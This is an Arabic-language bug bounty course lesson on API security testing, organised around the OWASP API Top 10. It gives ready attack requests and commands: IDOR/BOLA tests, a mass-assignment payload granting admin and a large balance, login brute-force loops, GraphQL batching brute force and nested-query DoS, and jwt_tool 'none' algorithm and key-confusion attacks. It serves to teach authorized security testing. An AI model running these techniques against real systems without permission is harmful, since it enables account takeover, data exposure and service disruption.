أمان API والهاتف
اختبار أمان API
4 دقيقة للقراءة
APIs هي العمود الفقري للتطبيقات الحديثة. OWASP API Security Top 10 يوجه أولويات الاختبار. APIs غالباً لها أمان أضعف من واجهات الويب.
OWASP API Security Top 10:2023
| # | الثغرة | صلة صيد الثغرات |
|---|---|---|
| API1 | تفويض مستوى الكائن المكسور | عالية - الاكتشاف الأكثر شيوعاً |
| API2 | المصادقة المكسورة | عالية - استيلاء الحساب |
| API3 | تفويض مستوى خاصية الكائن المكسور | عالية - كشف البيانات |
| API4 | استهلاك الموارد غير المقيد | متوسطة - إمكانية DoS |
| API5 | تفويض مستوى الوظيفة المكسور | عالية - وصول المدير |
| API6 | الوصول غير المقيد للتدفقات التجارية الحساسة | عالية - منطق الأعمال |
| API7 | تزوير طلبات جانب الخادم | عالية - الوصول الداخلي |
| API8 | خطأ تكوين الأمان | متوسطة - كشف المعلومات |
| API9 | إدارة المخزون غير الصحيحة | متوسطة - Shadow APIs |
| API10 | الاستهلاك غير الآمن لـ APIs | متوسطة - مخاطر الطرف الثالث |
اكتشاف API
إيجاد نقاط نهاية API
# من ملفات JavaScript
cat wayback-urls.txt | grep "\.js$" | while read url; do
curl -s "$url" | grep -oE "(\/api\/[^\"']+|\/v[0-9]+\/[^\"']+)"
done
# من تطبيقات الهاتف (مفككة)
grep -r "api\." ./decompiled/ | grep -oE "https?://[^\"']+"
# من التقاط حركة المرور
# استخدم Burp Suite كبروكسي لجميع حركة التطبيق
وثائق API
# تحقق من الوثائق المكشوفة
/swagger
/swagger-ui
/swagger.json
/openapi.json
/api-docs
/api/docs
/graphql
/.well-known/openapi.yaml
# استخدم قوائم كلمات فحص API
ffuf -u https://api.example.com/FUZZ -w api-endpoints.txt
اختبار REST API
BOLA (تفويض مستوى الكائن المكسور)
# اختبر كل نقطة نهاية بمعرفات الكائنات
# رمز المستخدم أ → مورد المستخدم ب
GET /api/users/12345/orders
Authorization: Bearer <user_a_token>
# غيّر لمعرف المستخدم ب
GET /api/users/12346/orders
Authorization: Bearer <user_a_token>
# إذا أعاد بيانات المستخدم ب = BOLA
Mass Assignment
# أضف حقول إضافية للطلبات
POST /api/users/profile
{
"name": "Attacker",
"role": "admin", # حقل مضاف
"is_verified": true, # حقل مضاف
"balance": 99999 # حقل مضاف
}
# تحقق إذا قُبلت الحقول
تحديد المعدل
# اختبر حدود المعدل
for i in {1..100}; do
curl -s -o /dev/null -w "%{http_code}\n" \
"https://api.example.com/login" \
-d "user=test&pass=test$i"
done
# لا حد للمعدل = القوة العمياء ممكنة
أمان GraphQL
الاستبطان
# تحقق إذا كان الاستبطان مفعلاً
POST /graphql
{
"query": "{__schema{types{name,fields{name}}}}"
}
# إذا أعاد المخطط = ارسم جميع الاستعلامات/التحولات
ثغرات GraphQL الشائعة
# تجميع الاستعلامات لتجاوز المصادقة
[
{"query": "mutation { login(user:\"admin\", pass:\"a\") { token }}"},
{"query": "mutation { login(user:\"admin\", pass:\"b\") { token }}"},
# ... آلاف أخرى
]
# استعلامات متداخلة لـ DoS
query {
users {
friends {
friends {
friends {
name
}
}
}
}
}
# استخراج البيانات القائم على الاسم المستعار
query {
user1: user(id: "1") { email }
user2: user(id: "2") { email }
user3: user(id: "3") { email }
}
أدوات GraphQL
# GraphQL voyager - مستكشف المخطط المرئي
# InQL - إضافة Burp لـ GraphQL
# Clairvoyance - استخراج المخطط بدون استبطان
python3 -m clairvoyance https://example.com/graphql -o schema.json
اختبار المصادقة
هجمات JWT
# تحقق من الخوارزمية
# فك الترميز للرأس، جرب خوارزمية none
# جرب ارتباك RS256 → HS256
# أتمتة jwt_tool
python3 jwt_tool.py <token> -X a # جميع الهجمات
python3 jwt_tool.py <token> -X n # خوارزمية None
python3 jwt_tool.py <token> -X k # ارتباك المفتاح
أمان مفتاح API
# اختبر كشف مفتاح API
# تحقق: ملفات JS، مستودعات git، تطبيقات الهاتف
# اختبر نطاق مفتاح API
# هل يمكن لمفتاح القراءة فقط الكتابة؟
# هل يمكن لمفتاح المستخدم الوصول لنقاط نهاية المدير؟
قائمة مراجعة اختبار API
- ارسم جميع نقاط النهاية (الوثائق، JS، حركة المرور)
- اختبر BOLA على كل نقطة نهاية بمعرف كائن
- اختبر mass assignment على جميع POST/PUT
- تحقق من تحديد المعدل على نقاط نهاية المصادقة
- اختبر JWT لثغرات الخوارزمية
- تحقق من استبطان GraphQL
- ابحث عن رسائل خطأ مفصلة
- اختبر إصدارات API القديمة (v1، v2)
أمثلة المكافآت
| الشركة | الثغرة | المكافأة |
|---|---|---|
| Uber | BOLA - الوصول لأي رحلة | 8,000 دولار |
| Shopify | كشف بيانات GraphQL | 20,000 دولار |
| تجاوز حد معدل API | 5,040 دولار | |
| GitLab | Mass assignment RCE | 12,000 دولار |
نصيحة احترافية: APIs غالباً تثق بالطلبات أكثر من واجهات الويب. اختبر كل حقل، كل معامل، كل معرف.
في الدرس التالي، سنغطي اختبار أمان تطبيقات الهاتف. :::